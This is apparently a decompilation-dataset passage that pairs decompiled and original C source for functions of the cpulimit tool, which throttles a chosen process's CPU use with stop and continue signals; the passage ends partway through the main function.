variable_types: struct process { int pid; int ppid; int starttime; int member; int last_jiffies; struct timeval { long tv_sec; long tv_usec; } last_sample; double cpu_usage; int is_zombie; char command[-1]; char stat_file[20]; char buffer[1024]; } *

user_defined_types: struct process { int pid; int ppid; int starttime; int member; int last_jiffies; struct timeval last_sample; double cpu_usage; int is_zombie; char command[-1]; char stat_file[20]; char buffer[1024]; }


decompiled_code:
__int64 get_ncpu()
{
return sysconf(84);
}

canonical_decompiled_code:
__int64 func3()
{
return sysconf(84);
}

original_code:
static int get_ncpu() {
 int ncpu = -1;
 ncpu = sysconf(_SC_NPROCESSORS_ONLN);
 return ncpu;
}

variable_types: ncpu int


decompiled_code:
_BOOL8 check_proc()
{
int v0; // edx
_BOOL8 result; // rax
struct statfs v2; // [rsp+0h] [rbp-88h] BYREF

v0 = statfs("/proc", &v2);
result = 0LL;
if ( v0 >= 0 )
result = v2.f_type == 40864;
return result;
}

canonical_decompiled_code:
_BOOL8 func4()
{
int v0; // edx
_BOOL8 result; // rax
struct statfs v2; // [rsp+0h] [rbp-88h] BYREF

v0 = statfs("/proc", &v2);
result = 0LL;
if ( v0 >= 0 )
result = v2.f_type == 40864;
return result;
}

original_code:
static int check_proc()
{
 struct statfs mnt;
 if (statfs("/proc", &mnt) < 0)
  return 0;
 if (mnt.f_type!=0x9fa0)
  return 0;
 return 1;
}

variable_types: struct statfs { long f_type; long f_bsize; unsigned long f_blocks; unsigned long f_bfree; unsigned long f_bavail; unsigned long f_files; unsigned long f_ffree; struct __fsid_t { int __val[2]; } f_fsid; long f_namelen; long f_frsize; long f_flags; long f_spare[4]; }

user_defined_types: struct statfs { long f_type; long f_bsize; unsigned long f_blocks; unsigned long f_bfree; unsigned long f_bavail; unsigned long f_files; unsigned long f_ffree; struct __fsid_t f_fsid; long f_namelen; long f_frsize; long f_flags; long f_spare[4]; }


decompiled_code:
int __fastcall limit_process(unsigned int a1, int a2, double a3)
{
__int64 v4; // rsi
unsigned int *v5; // rax
unsigned int v7; // eax
unsigned int *v8; // rbp
int v9; // ebx
unsigned int **v10; // rbp
unsigned int *v11; // rbx
double v12; // xmm0_8
__int64 v13; // rbx
int i; // er13
__pid_t *v15; // rbp
__int64 v16; // rbx
__pid_t *v17; // rbp
int v18; // [rsp+0h] [rbp-98h]
double v19; // [rsp+0h] [rbp-98h]
double v20; // [rsp+8h] [rbp-90h]
struct timeval v22; // [rsp+20h] [rbp-78h] BYREF
struct timeval tv; // [rsp+30h] [rbp-68h] BYREF
struct timespec v24; // [rsp+40h] [rbp-58h] BYREF
struct timespec requested_time; // [rsp+50h] [rbp-48h] BYREF

requested_time.tv_sec = 0LL;
requested_time.tv_nsec = 0LL;
v24.tv_sec = 0LL;
v24.tv_nsec = 0LL;
tv.tv_sec = 0LL;
tv.tv_usec = 0LL;
v22.tv_sec = 0LL;
v22.tv_usec = 0LL;
v4 = a1;
if ( (unsigned int)create_process_family(&dword_E80, a1) == -1 )
return printf("create process family failed");
if ( a2 )
{
v5 = (unsigned int *)*((_QWORD *)&dword_E80 + 1);
while ( v5 )
{
v4 = **(unsigned int **)v5;
if ( (_DWORD)v4 == a1 )
{
v5 = (unsigned int *)*((_QWORD *)v5 + 2);
}
else
{
remove_process_from_family(&dword_E80);
v5 = (unsigned int *)*((_QWORD *)&dword_E80 + 1);
}
}
}
else if ( verbose )
{
v4 = (unsigned int)dword_E80;
printf("Members in the family owned by %d: %d\n", (unsigned int)dword_E80, (unsigned int)*(&dword_E80 + 7));
}
v20 = *(double *)&LC13;
for ( i = 0; ; ++i )
{
v9 = a2 | (i % 10);
if ( !v9 )
{
v7 = update_process_family(&dword_E80);
v18 = v7;
if ( verbose )
{
if ( v7 )
{
v4 = v7;
printf("%d new children processes detected (", v7);
v8 = (unsigned int *)*((_QWORD *)&dword_E80 + 2);
if ( v18 > 0 )
{
do
{
v4 = **(unsigned int **)v8;
printf("%d", v4);
if ( v18 - 1 > v9 )
putchar(32);
v8 = (unsigned int *)*((_QWORD *)v8 + 1);
++v9;
}
while ( v18 != v9 );
}
puts(")");
}
}
}
if ( !*(&dword_E80 + 7) )
break;
v10 = (unsigned int **)*((_QWORD *)&dword_E80 + 1);
if ( !v10 )
goto LABEL_49;
v19 = *(double *)&LC13;
do
{
v11 = *v10;
if ( (*v10)[12] )
{
fprintf(stderr, "Process %d is zombie!\n", *v11);
v4 = *v11;
remove_process_from_family(&dword_E80);
v10 = (unsigned int **)*((_QWORD *)&dword_E80 + 1);
}
else if ( (unsigned int)process_monitor(*v10, v4) )
{
if ( verbose )
fprintf(stderr, "Process %d dead!\n", *v11);
v4 = *v11;
remove_process_from_family(&dword_E80);
v10 = (unsigned int **)*((_QWORD *)&dword_E80 + 1);
}
else
{
v10 = (unsigned int **)v10[2];
v12 = *((double *)v11 + 5);
if ( v12 >= 0.0 )
{
if ( v19 < 0.0 )
v19 = 0.0;
v19 = v12 + v19;
}
}
}
while ( v10 );
if ( v19 >= 0.0 )
{
v20 = v20 / v19 * a3;
if ( v20 >= 1.0 )
v20 = *(double *)&LC15;
requested_time.tv_nsec = (unsigned int)(int)(v20 * 100000000.0);
}
else
{
LABEL_49:
requested_time.tv_nsec = (unsigned int)(int)(a3 * 100000.0 * 1000.0);
v19 = a3;
v20 = a3;
}
v24.tv_nsec = 100000000 - requested_time.tv_nsec;
if ( verbose )
{
if ( i == 200 * (i / 200) )
printf("\n%%CPU\twork quantum\tsleep quantum\tactive rate\n");
if ( i > 0 && !(i % 10) )
printf(
"%0.2lf%%\t%6ld us\t%6ld us\t%0.2lf%%\n",
v19 * 100.0,
requested_time.tv_nsec / 1000,
v24.tv_nsec / 1000,
100.0 * v20);
}
v13 = *((_QWORD *)&dword_E80 + 1);
while ( v13 )
{
v15 = *(__pid_t **)v13;
if ( kill(**(_DWORD **)v13, 18) )
{
if ( verbose )
fprintf(stderr, "Process %d dead!\n", (unsigned int)*v15);
remove_process_from_family(&dword_E80);
v13 = *((_QWORD *)&dword_E80 + 1);
}
else
{
v13 = *(_QWORD *)(v13 + 16);
}
}
gettimeofday(&tv, 0LL);
nanosleep(&requested_time, 0LL);
v4 = 0LL;
gettimeofday(&v22, 0LL);
if ( v24.tv_nsec > 0 )
{
v16 = *((_QWORD *)&dword_E80 + 1);
while ( v16 )
{
v17 = *(__pid_t **)v16;
if ( kill(**(_DWORD **)v16, 19) )
{
if ( verbose )
fprintf(stderr, "Process %d dead!\n", (unsigned int)*v17);
remove_process_from_family(&dword_E80);
v16 = *((_QWORD *)&dword_E80 + 1);
}
else
{
v16 = *(_QWORD *)(v16 + 16);
}
}
v4 = 0LL;
nanosleep(&v24, 0LL);
}
}
if ( verbose )
puts("No more processes.");
return cleanup_process_family(&dword_E80);
}

canonical_decompiled_code:
int __fastcall func5(unsigned int a1, int a2, double a3)
{
__int64 v4; // rsi
unsigned int *v5; // rax
unsigned int v7; // eax
unsigned int *v8; // rbp
int v9; // ebx
unsigned int **v10; // rbp
unsigned int *v11; // rbx
double v12; // xmm0_8
__int64 v13; // rbx
int i; // er13
__pid_t *v15; // rbp
__int64 v16; // rbx
__pid_t *v17; // rbp
int v18; // [rsp+0h] [rbp-98h]
double v19; // [rsp+0h] [rbp-98h]
double v20; // [rsp+8h] [rbp-90h]
struct timeval v22; // [rsp+20h] [rbp-78h] BYREF
struct timeval tv; // [rsp+30h] [rbp-68h] BYREF
struct timespec v24; // [rsp+40h] [rbp-58h] BYREF
struct timespec requested_time; // [rsp+50h] [rbp-48h] BYREF

requested_time.tv_sec = 0LL;
requested_time.tv_nsec = 0LL;
v24.tv_sec = 0LL;
v24.tv_nsec = 0LL;
tv.tv_sec = 0LL;
tv.tv_usec = 0LL;
v22.tv_sec = 0LL;
v22.tv_usec = 0LL;
v4 = a1;
if ( (unsigned int)create_process_family(&dword_E80, a1) == -1 )
return printf("create process family failed");
if ( a2 )
{
v5 = (unsigned int *)*((_QWORD *)&dword_E80 + 1);
while ( v5 )
{
v4 = **(unsigned int **)v5;
if ( (_DWORD)v4 == a1 )
{
v5 = (unsigned int *)*((_QWORD *)v5 + 2);
}
else
{
remove_process_from_family(&dword_E80);
v5 = (unsigned int *)*((_QWORD *)&dword_E80 + 1);
}
}
}
else if ( verbose )
{
v4 = (unsigned int)dword_E80;
printf("Members in the family owned by %d: %d\n", (unsigned int)dword_E80, (unsigned int)*(&dword_E80 + 7));
}
v20 = *(double *)&LC13;
for ( i = 0; ; ++i )
{
v9 = a2 | (i % 10);
if ( !v9 )
{
v7 = update_process_family(&dword_E80);
v18 = v7;
if ( verbose )
{
if ( v7 )
{
v4 = v7;
printf("%d new children processes detected (", v7);
v8 = (unsigned int *)*((_QWORD *)&dword_E80 + 2);
if ( v18 > 0 )
{
do
{
v4 = **(unsigned int **)v8;
printf("%d", v4);
if ( v18 - 1 > v9 )
putchar(32);
v8 = (unsigned int *)*((_QWORD *)v8 + 1);
++v9;
}
while ( v18 != v9 );
}
puts(")");
}
}
}
if ( !*(&dword_E80 + 7) )
break;
v10 = (unsigned int **)*((_QWORD *)&dword_E80 + 1);
if ( !v10 )
goto LABEL_49;
v19 = *(double *)&LC13;
do
{
v11 = *v10;
if ( (*v10)[12] )
{
fprintf(stderr, "Process %d is zombie!\n", *v11);
v4 = *v11;
remove_process_from_family(&dword_E80);
v10 = (unsigned int **)*((_QWORD *)&dword_E80 + 1);
}
else if ( (unsigned int)process_monitor(*v10, v4) )
{
if ( verbose )
fprintf(stderr, "Process %d dead!\n", *v11);
v4 = *v11;
remove_process_from_family(&dword_E80);
v10 = (unsigned int **)*((_QWORD *)&dword_E80 + 1);
}
else
{
v10 = (unsigned int **)v10[2];
v12 = *((double *)v11 + 5);
if ( v12 >= 0.0 )
{
if ( v19 < 0.0 )
v19 = 0.0;
v19 = v12 + v19;
}
}
}
while ( v10 );
if ( v19 >= 0.0 )
{
v20 = v20 / v19 * a3;
if ( v20 >= 1.0 )
v20 = *(double *)&LC15;
requested_time.tv_nsec = (unsigned int)(int)(v20 * 100000000.0);
}
else
{
LABEL_49:
requested_time.tv_nsec = (unsigned int)(int)(a3 * 100000.0 * 1000.0);
v19 = a3;
v20 = a3;
}
v24.tv_nsec = 100000000 - requested_time.tv_nsec;
if ( verbose )
{
if ( i == 200 * (i / 200) )
printf("\n%%CPU\twork quantum\tsleep quantum\tactive rate\n");
if ( i > 0 && !(i % 10) )
printf(
"%0.2lf%%\t%6ld us\t%6ld us\t%0.2lf%%\n",
v19 * 100.0,
requested_time.tv_nsec / 1000,
v24.tv_nsec / 1000,
100.0 * v20);
}
v13 = *((_QWORD *)&dword_E80 + 1);
while ( v13 )
{
v15 = *(__pid_t **)v13;
if ( kill(**(_DWORD **)v13, 18) )
{
if ( verbose )
fprintf(stderr, "Process %d dead!\n", (unsigned int)*v15);
remove_process_from_family(&dword_E80);
v13 = *((_QWORD *)&dword_E80 + 1);
}
else
{
v13 = *(_QWORD *)(v13 + 16);
}
}
gettimeofday(&tv, 0LL);
nanosleep(&requested_time, 0LL);
v4 = 0LL;
gettimeofday(&v22, 0LL);
if ( v24.tv_nsec > 0 )
{
v16 = *((_QWORD *)&dword_E80 + 1);
while ( v16 )
{
v17 = *(__pid_t **)v16;
if ( kill(**(_DWORD **)v16, 19) )
{
if ( verbose )
fprintf(stderr, "Process %d dead!\n", (unsigned int)*v17);
remove_process_from_family(&dword_E80);
v16 = *((_QWORD *)&dword_E80 + 1);
}
else
{
v16 = *(_QWORD *)(v16 + 16);
}
}
v4 = 0LL;
nanosleep(&v24, 0LL);
}
}
if ( verbose )
puts("No more processes.");
return cleanup_process_family(&dword_E80);
}

original_code:
void limit_process(pid_t pid, double limit, int ignore_children)
{
 struct timespec twork;
 struct timespec tsleep;
 struct timeval startwork;
 struct timeval endwork;
 memset(&twork, 0, sizeof(struct timespec));
 memset(&tsleep, 0, sizeof(struct timespec));
 memset(&startwork, 0, sizeof(struct timeval));
 memset(&endwork, 0, sizeof(struct timeval));
 unsigned long workingtime = 0;
 struct list_node *node;
 int c = 0;
 if (create_process_family(&pf, pid) == -1)
    {
        printf("create process family failed");
        return ;
    }
 if (ignore_children) {
        node = pf.members.first;
  while (node!=((void *)0)) {
   struct process *proc = (struct process*)(node->data);
   if (proc->pid != pid)
            {
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
                continue;
            }
            node = node->next;
  }
 }
 if (!ignore_children && verbose) printf("Members in the family owned by %d: %d\n", pf.father, pf.members.count);
 double workingrate = -1;
 while(1) {
  if (!ignore_children && c%10==0) {
   int new_children = update_process_family(&pf);
   if (verbose && new_children) {
    printf("%d new children processes detected (", new_children);
    int j;
    node = pf.members.last;
    for (j=0; j<new_children; j++) {
     printf("%d", ((struct process*)(node->data))->pid);
     if (j<new_children-1) printf(" ");
     node = node->previous;
    }
    printf(")\n");
   }
  }
  if (pf.members.count==0) {
   if (verbose) printf("No more processes.\n");
   break;
  }
  double pcpu = -1;
        node = pf.members.first;
  while (node!=((void *)0)) {
   struct process *proc = (struct process*)(node->data);
   if (proc->is_zombie) {
    fprintf(stderr,"Process %d is zombie!\n", proc->pid);
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
    continue;
   }
   if (process_monitor(proc) != 0) {
    if (verbose) fprintf(stderr,"Process %d dead!\n", proc->pid);
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
    continue;
   }
            node = node->next;
   if (proc->cpu_usage<0) {
    continue;
   }
   if (pcpu<0) pcpu = 0;
   pcpu += proc->cpu_usage;
  }
  if (pcpu < 0) {
   pcpu = limit;
   workingrate = limit;
   twork.tv_nsec = 100000*limit*1000;
  }
  else {
   workingrate = (((workingrate / pcpu * limit)<(1))?(workingrate / pcpu * limit):(1));
   twork.tv_nsec = 100000*1000*workingrate;
  }
  tsleep.tv_nsec = 100000*1000-twork.tv_nsec;
  if (verbose) {
   if (c%200==0)
    printf("\n%%CPU\twork quantum\tsleep quantum\tactive rate\n");
   if (c%10==0 && c>0)
    printf("%0.2lf%%\t%6ld us\t%6ld us\t%0.2lf%%\n",pcpu*100,twork.tv_nsec/1000,tsleep.tv_nsec/1000,workingrate*100);
  }
        node = pf.members.first;
  while (node!=((void *)0)) {
   struct process *proc = (struct process*)(node->data);
   if (kill(proc->pid,18)!=0) {
    if (verbose) fprintf(stderr,"Process %d dead!\n", proc->pid);
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
                continue;
   }
            node=node->next;
  }
  gettimeofday(&startwork, ((void *)0));
  nanosleep(&twork,((void *)0));
  gettimeofday(&endwork, ((void *)0));
  workingtime = timediff(&endwork,&startwork);
  long delay = workingtime-twork.tv_nsec/1000;
  if (c>0 && delay>10000) {
  }
  if (tsleep.tv_nsec>0) {
            node=pf.members.first;
   while (node!=((void *)0)) {
    struct process *proc = (struct process*)(node->data);
    if (kill(proc->pid,19)!=0) {
     if (verbose) fprintf(stderr,"Process %d dead!\n", proc->pid);
     remove_process_from_family(&pf, proc->pid);
                    node=pf.members.first;
                    continue;
    }
                node=node->next;
   }
   nanosleep(&tsleep,((void *)0));
  }
  c++;
 }
 cleanup_process_family(&pf);
}

canonical_original_code:
void limit_process(int pid, double limit, int ignore_children)
{
 struct timespec twork;
 struct timespec tsleep;
 struct timeval startwork;
 struct timeval endwork;
 memset(&twork, 0, sizeof(struct timespec));
 memset(&tsleep, 0, sizeof(struct timespec));
 memset(&startwork, 0, sizeof(struct timeval));
 memset(&endwork, 0, sizeof(struct timeval));
 unsigned long workingtime = 0;
 struct list_node *node;
 int c = 0;
 if (create_process_family(&pf, pid) == -1)
    {
        printf("create process family failed");
        return ;
    }
 if (ignore_children) {
        node = pf.members.first;
  while (node!=((void *)0)) {
   struct process *proc = (struct process*)(node->data);
   if (proc->pid != pid)
            {
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
                continue;
            }
            node = node->next;
  }
 }
 if (!ignore_children && verbose) printf("Members in the family owned by %d: %d\n", pf.father, pf.members.count);
 double workingrate = -1;
 while(1) {
  if (!ignore_children && c%10==0) {
   int new_children = update_process_family(&pf);
   if (verbose && new_children) {
    printf("%d new children processes detected (", new_children);
    int j;
    node = pf.members.last;
    for (j=0; j<new_children; j++) {
     printf("%d", ((struct process *)(node->data))->pid);
     if (j<new_children-1) printf(" ");
     node = node->previous;
    }
    printf(")\n");
   }
  }
  if (pf.members.count==0) {
   if (verbose) printf("No more processes.\n");
   break;
  }
  double pcpu = -1;
        node = pf.members.first;
  while (node!=((void *)0)) {
   struct process *proc = (struct process*)(node->data);
   if (proc->is_zombie) {
    fprintf(stderr,"Process %d is zombie!\n", proc->pid);
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
    continue;
   }
   if (process_monitor(proc) != 0) {
    if (verbose) fprintf(stderr,"Process %d dead!\n", proc->pid);
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
    continue;
   }
            node = node->next;
   if (proc->cpu_usage<0) {
    continue;
   }
   if (pcpu<0) pcpu = 0;
   pcpu += proc->cpu_usage;
  }
  if (pcpu < 0) {
   pcpu = limit;
   workingrate = limit;
   twork.tv_nsec = 100000*limit*1000;
  }
  else {
   workingrate = (((workingrate / pcpu * limit)<(1))?(workingrate / pcpu * limit):(1));
   twork.tv_nsec = 100000*1000*workingrate;
  }
  tsleep.tv_nsec = 100000*1000-twork.tv_nsec;
  if (verbose) {
   if (c%200==0)
    printf("\n%%CPU\twork quantum\tsleep quantum\tactive rate\n");
   if (c%10==0 && c>0)
    printf("%0.2lf%%\t%6ld us\t%6ld us\t%0.2lf%%\n",pcpu*100,twork.tv_nsec/1000,tsleep.tv_nsec/1000,workingrate*100);
  }
        node = pf.members.first;
  while (node!=((void *)0)) {
   struct process *proc = (struct process*)(node->data);
   if (kill(proc->pid,18)!=0) {
    if (verbose) fprintf(stderr,"Process %d dead!\n", proc->pid);
    remove_process_from_family(&pf, proc->pid);
                node = pf.members.first;
                continue;
   }
            node=node->next;
  }
  gettimeofday(&startwork, ((void *)0));
  nanosleep(&twork,((void *)0));
  gettimeofday(&endwork, ((void *)0));
  workingtime = timediff(&endwork,&startwork);
  long delay = workingtime-twork.tv_nsec/1000;
  if (c>0 && delay>10000) {
  }
  if (tsleep.tv_nsec>0) {
            node=pf.members.first;
   while (node!=((void *)0)) {
    struct process *proc = (struct process*)(node->data);
    if (kill(proc->pid,19)!=0) {
     if (verbose) fprintf(stderr,"Process %d dead!\n", proc->pid);
     remove_process_from_family(&pf, proc->pid);
                    node=pf.members.first;
                    continue;
    }
                node=node->next;
   }
   nanosleep(&tsleep,((void *)0));
  }
  c++;
 }
 cleanup_process_family(&pf);
}

variable_types: pid int

variable_types: limit double

variable_types: struct timespec { long tv_sec; long tv_nsec; }

variable_types: struct timeval { long tv_sec; long tv_usec; }

variable_types:
workingtime
unsigned long

variable_types: c int

variable_types: workingrate double

variable_types: j int

variable_types: pcpu double

variable_types: delay long

user_defined_types: struct list_node { void *data; struct list_node *previous; struct list_node *next; }


main

canonical_name: main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // r12
__int64 v4; // rax
unsigned __int8 *v5; // rax
struct option longopts; // [rsp+20h] [rbp-148h] BYREF
const char *v8; // [rsp+40h] [rbp-128h]
int v9; // [rsp+48h] [rbp-120h]
__int64 v10; // [rsp+50h] [rbp-118h]
int v11; // [rsp+58h] [rbp-110h]
const char *v12; // [rsp+60h] [rbp-108h]
int v13; // [rsp+68h] [rbp-100h]
__int64 v14; // [rsp+70h] [rbp-F8h]
int v15; // [rsp+78h] [rbp-F0h]
const char *v16; // [rsp+80h] [rbp-E8h]
int v17; // [rsp+88h] [rbp-E0h]
__int64 v18; // [rsp+90h] [rbp-D8h]
int v19; // [rsp+98h] [rbp-D0h]
const char *v20; // [rsp+A0h] [rbp-C8h]
int v21; // [rsp+A8h] [rbp-C0h]
__int64 v22; // [rsp+B0h] [rbp-B8h]
int v23; // [rsp+B8h] [rbp-B0h]
const char *v24; // [rsp+C0h] [rbp-A8h]
int v25; // [rsp+C8h] [rbp-A0h]
__int64 v26; // [rsp+D0h] [rbp-98h]
int v27; // [rsp+D8h] [rbp-90h]
const char *v28; // [rsp+E0h] [rbp-88h]
int v29; // [rsp+E8h] [rbp-80h]
__int64 v30; // [rsp+F0h] [rbp-78h]
int v31; // [rsp+F8h] [rbp-70h]
__int64 v32; // [rsp+100h] [rbp-68h]
int v33; // [rsp+108h] [rbp-60h]
__int64 v34; // [rsp+110h] [rbp-58h]
int v35; // [rsp+118h] [rbp-50h]
int longind[15]; // [rsp+12Ch] [rbp-3Ch] BYREF

v3 = *argv;
v4 = strlen(*argv);
v5 = memrchr((unsigned __int64)v3, 47, v4);
if ( v5 )
v3 = (const char *)(v5 + 1);
program_name = (__int64)v3;
cpulimit_pid = getpid();
NCPU = get_ncpu();
longind[0] = 0;
longopts.name = "pid";
longopts.has_arg = 1;
longopts.flag = 0LL;
longopts.val = 112;
v8 = "exe";
v9 = 1;
v10 = 0LL;
v11 = 101;
v12 = "limit";
v13 = 1;
v14 = 0LL;
v15 = 108;
v16 = "verbose";
v17 = 0;
v18 = 0LL;
v19 = 118;
v20 = "lazy";
v21 = 0;
v22 = 0LL;
v23 = 122;
v24 = "ignore-children";
v25 = 0;
v26 = 0LL;
v27 = 105;
v28 = "help";
v29 = 0;
v30 = 0LL;
v31 = 104;
v32 = 0LL;
v33 = 0;
v34 = 0LL;
v35 = 0;
if ( getopt_long(argc, (char *const *)argv, "+p:e:l:vzih", &longopts, longind) != -1 )
abort();
fwrite("Error: You must specify a cpu limit percentage\n", 1uLL, 0x2FuLL, stderr);
print_usage(stderr, 1);
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // r12
__int64 v4; // rax
unsigned __int8 *v5; // rax
struct option longopts; // [rsp+20h] [rbp-148h] BYREF
const char *v8; // [rsp+40h] [rbp-128h]
int v9; // [rsp+48h] [rbp-120h]
__int64 v10; // [rsp+50h] [rbp-118h]
int v11; // [rsp+58h] [rbp-110h]
const char *v12; // [rsp+60h] [rbp-108h]
int v13; // [rsp+68h] [rbp-100h]
__int64 v14; // [rsp+70h] [rbp-F8h]
int v15; // [rsp+78h] [rbp-F0h]
const char *v16; // [rsp+80h] [rbp-E8h]
int v17; // [rsp+88h] [rbp-E0h]
__int64 v18; // [rsp+90h] [rbp-D8h]
int v19; // [rsp+98h] [rbp-D0h]
const char *v20; // [rsp+A0h] [rbp-C8h]
int v21; // [rsp+A8h] [rbp-C0h]
__int64 v22; // [rsp+B0h] [rbp-B8h]
int v23; // [rsp+B8h] [rbp-B0h]
const char *v24; // [rsp+C0h] [rbp-A8h]
int v25; // [rsp+C8h] [rbp-A0h]
__int64 v26; // [rsp+D0h] [rbp-98h]
int v27; // [rsp+D8h] [rbp-90h]
const char *v28; // [rsp+E0h] [rbp-88h]
int v29; // [rsp+E8h] [rbp-80h]
__int64 v30; // [rsp+F0h] [rbp-78h]
int v31; // [rsp+F8h] [rbp-70h]
__int64 v32; // [rsp+100h] [rbp-68h]
int v33; // [rsp+108h] [rbp-60h]
__int64 v34; // [rsp+110h] [rbp-58h]
int v35; // [rsp+118h] [rbp-50h]
int longind[15]; // [rsp+12Ch] [rbp-3Ch] BYREF

v3 = *argv;
v4 = strlen(*argv);
v5 = func0((unsigned __int64)v3, 47, v4);
if ( v5 )
v3 = (const char *)(v5 + 1);
program_name = (__int64)v3;
cpulimit_pid = getpid();
NCPU = func3();
longind[0] = 0;
longopts.name = "pid";
longopts.has_arg = 1;
longopts.flag = 0LL;
longopts.val = 112;
v8 = "exe";
v9 = 1;
v10 = 0LL;
v11 = 101;
v12 = "limit";
v13 = 1;
v14 = 0LL;
v15 = 108;
v16 = "verbose";
v17 = 0;
v18 = 0LL;
v19 = 118;
v20 = "lazy";
v21 = 0;
v22 = 0LL;
v23 = 122;
v24 = "ignore-children";
v25 = 0;
v26 = 0LL;
v27 = 105;
v28 = "help";
v29 = 0;
v30 = 0LL;
v31 = 104;
v32 = 0LL;
v33 = 0;
v34 = 0LL;
v35 = 0;
if ( getopt_long(argc, (char *const *)argv, "+p:e:l:vzih", &longopts, longind) != -1 )
abort();
fwrite("Error: You must specify a cpu limit percentage\n", 1uLL, 0x2FuLL, stderr);
func1(stderr, 1);
}

original_code:
int main(int argc, char **argv) {
 const char *exe = ((void *)0);
 int perclimit = 0;
 int exe_ok = 0;
 int pid_ok = 0;
 int limit_ok = 0;
 pid_t pid = 0;
 int ignore_children = 0;
 char *p=(char*)memrchr(argv[0],(unsigned int)'/',strlen(argv[0]));
 program_name = p==((void *)0)?argv[0]:(p+1);
 cpulimit_pid = getpid();
 NCPU = get_ncpu();
 int next_option;
    int option_index = 0;
 const char* short_options = "+p:e:l:vzih";
 const struct option long_options[] = {
  { "pid", 1, ((void *)0), 'p' },
  { "exe", 1, ((void *)0), 'e' },
  { "limit", 1, ((void *)0), 'l' },
  { "verbose", 0, ((void *)0), 'v' },
  { "lazy", 0, ((void *)0), 'z' },
  { "ignore-children", 0, ((void *)0), 'i' },
  { "help", 0, ((void *)0), 'h' },
  { 0, 0, 0, 0 }
 };
 do {
  next_option = getopt_long(argc, argv, short_options,long_options, &option_index);
  switch(next_option) {
   case 'p':
    pid = atoi(optarg);
    pid_ok = 1;
    break;
   case 'e':
    exe = optarg;
    exe_ok = 1;
    break;
   case 'l':
    perclimit = atoi(optarg);
    limit_ok = 1;
    break;
   case 'v':
    verbose = 1;
    break;
   case 'z':
    lazy = 1;
    break;
   case 'i':
    ignore_children = 1;
    break;
   case 'h':
    print_usage(stdout, 1);
    break;
   case '?':
    print_usage(stderr, 1);
    break;
   case -1:
    break;
   default:
    abort();
  }
 } while(next_option != -1);
 if (pid_ok && (pid<=1 || pid>=65536)) {
  fprintf(stderr,"Error: Invalid value for argument PID\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (pid!=0) {
  lazy = 1;
 }
 if (!limit_ok) {
  fprintf(stderr,"Error: You must specify a cpu limit percentage\n");
  print_usage(stderr, 1);
  exit(1);
 }
 double limit = perclimit/100.0;
 if (limit<0 || limit >NCPU) {
  fprintf(stderr,"Error: limit must be in the range 0-%d00\n", NCPU);
  print_usage(stderr, 1);
  exit(1);
 }
 int command_mode = optind<argc;
 if (exe_ok + pid_ok + command_mode == 0) {
  fprintf(stderr,"Error: You must specify one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (exe_ok + pid_ok + command_mode > 1) {
  fprintf(stderr,"Error: You must specify exactly one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 signal(2, quit);
 signal(15, quit);
 if (verbose) printf("%d cpu detected\n", NCPU);
 if (!check_proc()) {
  fprintf(stderr, "procfs is not mounted!\nAborting\n");
  exit(-2);
 }
 if (command_mode) {
  int i;
  const char *cmd = argv[optind];
  char **cmd_args = (char**)malloc((argc-optind+1)*sizeof(char*));
  if (cmd_args==((void *)0)) exit(2);
  for (i=0; i<argc-optind; i++) {
   cmd_args[i] = argv[i+optind];
  }
  cmd_args[i] = ((void *)0);
  if (verbose) {
   printf("Running command: '%s", cmd);
   for (i=1; i<argc-optind; i++) {
    printf(" %s", cmd_args[i]);
   }
   printf("'\n");
  }
  int child = fork();
  if (child < 0) {
   exit(1);
  }
  else if (child > 0) {
   int limiter = fork();
   if (limiter < 0) {
    exit(1);
   }
   else if (limiter > 0) {
    int status_process;
    int status_limiter;
    waitpid(child, &status_process, 0);
    waitpid(limiter, &status_limiter, 0);
    if ((((status_process) & 0x7f) == 0)) {
     if (verbose) printf("Process %d terminated with exit status %d\n", child, (int)(((status_process) & 0xff00) >> 8));
     exit((((status_process) & 0xff00) >> 8));
    }
    printf("Process %d terminated abnormally\n", child);
    exit(status_process);
   }
   else {
    if (verbose) printf("Limiting process %d\n",child);
    limit_process(child, limit, ignore_children);
    exit(0);
   }
  }
  else {
   int ret = execvp(cmd, cmd_args);
   perror("Error");
   exit(ret);
  }
 }
 while(1) {
  pid_t ret = 0;
  if (pid_ok) {
   ret = look_for_process_by_pid(pid);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
  }
  else {
   ret = look_for_process_by_name(exe);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
   else {
    pid = ret;
   }
  }
  if (ret > 0) {
   if (ret == cpulimit_pid) {
    printf("Process %d is cpulimit itself! Aborting to avoid deadlock\n", ret);
    exit(1);
   }
   printf("Process %d found\n", pid);
   limit_process(pid, limit, ignore_children);
  }
  if (lazy) break;
  sleep(2);
 };
 exit(0);
}

canonical_original_code:
int main(int argc, char **argv) {
 char *exe = ((void *)0);
 int perclimit = 0;
 int exe_ok = 0;
 int pid_ok = 0;
 int limit_ok = 0;
 int pid = 0;
 int ignore_children = 0;
 char *p = (char*)memrchr(argv[0],(unsigned int)'/',strlen(argv[0]));
 program_name = p==((void *)0)?argv[0]:(p+1);
 cpulimit_pid = getpid();
 NCPU = get_ncpu();
 int next_option;
    int option_index = 0;
 char *short_options = "+p:e:l:vzih";
 struct option long_options[] = {
  { "pid", 1, ((void *)0), 'p' },
  { "exe", 1, ((void *)0), 'e' },
  { "limit", 1, ((void *)0), 'l' },
  { "verbose", 0, ((void *)0), 'v' },
  { "lazy", 0, ((void *)0), 'z' },
  { "ignore-children", 0, ((void *)0), 'i' },
  { "help", 0, ((void *)0), 'h' },
  { 0, 0, 0, 0 }
 };
 do {
  next_option = getopt_long(argc, argv, short_options,long_options, &option_index);
  switch(next_option) {
   case 'p':
    pid = atoi(optarg);
    pid_ok = 1;
    break;
   case 'e':
